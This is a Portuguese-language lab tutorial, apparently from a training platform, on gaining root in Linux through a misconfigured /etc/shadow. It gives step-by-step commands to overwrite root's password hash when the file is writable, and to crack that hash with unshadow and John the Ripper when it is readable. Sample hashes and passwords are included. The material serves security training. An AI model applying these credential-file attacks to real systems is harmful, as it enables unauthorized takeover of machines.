Introdução
Sistemas Linux dependem dos arquivos /etc/passwd e /etc/shadow para autenticação de usuários e controle de acesso. Se os administradores de sistema configurarem incorretamente as permissões ou o conteúdo desses arquivos, isso pode criar oportunidades para ataques de escalonamento de privilégios. Neste laboratório, você aprenderá como aproveitar o arquivo /etc/shadow para obter privilégios de root em um sistema Linux. Este cenário assume que você já obteve acesso inicial ao shell com poucos privilégios como um usuário regular.
Entenda o Arquivo /etc/shadow
Nesta etapa, você aprenderá sobre a estrutura e o propósito do arquivo /etc/shadow.
O arquivo /etc/shadow armazena senhas criptografadas e informações de configuração relacionadas a senhas para cada conta de usuário. Cada linha no arquivo representa um usuário e contém 9 campos separados por dois pontos:
- Nome de usuário (Username)
- Hash de senha criptografada (Encrypted password hash)
- O número de dias desde a época (1970-01-01) em que a senha foi alterada pela última vez
- O número mínimo de dias necessários entre as alterações de senha
- O número máximo de dias que a senha é válida
- O número de dias antes da expiração da senha para avisar o usuário
- O número de dias após a expiração da senha antes que a conta seja desativada
- O número de dias desde a época (1970-01-01) em que a conta será desativada
- Um campo reservado para uso futuro
Abra um terminal e navegue até o diretório /home/labex/project.
cd /home/labex/project
Vamos verificar a entrada do usuário labex no arquivo /etc/shadow:
sudo cat /etc/shadow | grep labex > /home/labex/project/labex_shadow.txt
Observe que usamos sudo para ler o arquivo /etc/shadow. Isso ocorre porque o arquivo só pode ser lido pelo usuário root.
Verifique o conteúdo do arquivo labex_shadow.txt:
cat labex_shadow.txt
Exemplo de saída:
labex:$y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8:19818:0:99999:7:::
Esta linha indica:
- Nome de usuário (Username):
labex - Hash de senha criptografada (Encrypted password hash):
$y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8 - Última alteração de senha: 19818 dias desde a época (1970-01-01)
- Idade mínima da senha: 0 dias (sem restrição)
- Idade máxima da senha: 99999 dias (sem expiração)
- Período de aviso de senha: 7 dias antes da expiração
- A conta nunca expira
Por padrão, apenas o usuário root pode ler e modificar o arquivo /etc/shadow. No entanto, permissões misconfigured (mal configuradas) podem, às vezes, fornecer oportunidades para escalonamento de privilégios.
Escalar Privilégios com Acesso de Escrita em /etc/shadow
Nesta etapa, você aprenderá como escalar privilégios modificando a senha do root no arquivo /etc/shadow se tiver acesso de escrita a ele.
Primeiro, abra um terminal e navegue até o diretório
/home/labex/project:cd /home/labex/projectVocê encontrará um script chamado
env_setup_1.shno diretório. Execute este script para configurar o ambiente:./env_setup_1.shIsso configurará o ambiente e mudará você para o usuário
user001, simulando um acesso inicial ao shell com poucos privilégios.Navegue até o diretório home do
user001:cd ~Em seguida, verifique as permissões do arquivo
/etc/shadow:ls -alh /etc/shadowExemplo de saída:
-rw-r----- 1 user001 shadow 1.2K Apr 6 19:16 /etc/shadowVocê deve ver que o usuário
user001tem acesso de escrita ao arquivo/etc/shadowdevido a umamisconfiguration(má configuração).Agora, você pode editar o arquivo
/etc/shadowe substituir o hash da senha do usuário root por um novo.Primeiro, visualize o hash da senha root atual:
cat /etc/shadow | grep rootExemplo de saída:
root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::Para definir uma nova senha (por exemplo,
pass123), gere um novo hash de senha usando o utilitárioopenssl:openssl passwd -1 -salt ignite pass123Exemplo de saída:
$1$ignite$3eTbJm98O9Hz.k1NTdNxe1Abra o arquivo
/etc/shadowem um editor de texto e substitua o hash da senha do usuário root pelo novo.nano /etc/shadowEncontrou o hash da senha do usuário root:
root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::Substitua o hash da senha pelo novo:
root:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:18167:0:99999:7:::Salve as alterações e saia do editor.
Finalmente, use o comando
su rootpara mudar para o usuário root, inserindo a nova senhapass123quando solicitado.su root
Você agora deve ter privilégios de root no sistema.
Escalar Privilégios com Acesso de Leitura em /etc/shadow
Nesta etapa, você aprenderá como escalar privilégios quebrando o hash da senha root se você tiver apenas acesso de leitura ao arquivo /etc/shadow.
Após a última etapa, você deve permanecer no usuário root. Você pode abrir um novo terminal ou usar o comando exit para sair do usuário atual até chegar ao usuário labex.
Quando estiver no usuário
labex, navegue até o diretório/home/labex/project:cd /home/labex/projectExecute o script
env_setup_2.shpara configurar o ambiente:./env_setup_2.shIsso configurará um novo ambiente onde o usuário
user001tem acesso de leitura ao arquivo/etc/shadow.Navegue até o diretório home do
user001:cd ~Verifique as permissões do arquivo
/etc/shadow:ls -alh /etc/shadowExemplo de saída:
-rw-r--r-- 1 root shadow 1.2K Apr 6 19:19 /etc/shadowVocê deve ver que o usuário
user001tem acesso de leitura ao arquivo/etc/shadowdevido a umamisconfiguration(má configuração).Em seguida, podemos usar a ferramenta
johnpara quebrar o hash da senha do usuário root. Antes de usarjohn, você precisa combinar o conteúdo dos arquivos/etc/passwde/etc/shadowusando o comandounshadow:unshadow /etc/passwd /etc/shadow > ~/shadow_crack.txtAgora, execute
johnno arquivoshadow_crack.txtpara quebrar o hash da senha do usuário root e salve as senhas quebradas em um arquivo:john --users=root shadow_crack.txt > cracked_passwords.txtVerifique o conteúdo do arquivo
cracked_passwords.txtpara visualizar a senha quebrada:Loaded 1 password hash (md5crypt [MD5 32/64 X2]) study (root)Finalmente, use o comando
su rootpara mudar para o usuário root, inserindo a senha quebradastudyquando solicitado:su root
Você agora deve ter privilégios de root no sistema.
Resumo
Neste laboratório, você aprendeu sobre a estrutura e o propósito do arquivo /etc/shadow, bem como dois métodos para escalar privilégios aproveitando este arquivo: modificando o hash da senha root com acesso de escrita ou quebrando o hash da senha root com acesso de leitura. Essas técnicas demonstram a importância de configurar corretamente as permissões de arquivo e proteger arquivos sensíveis do sistema em um ambiente Linux.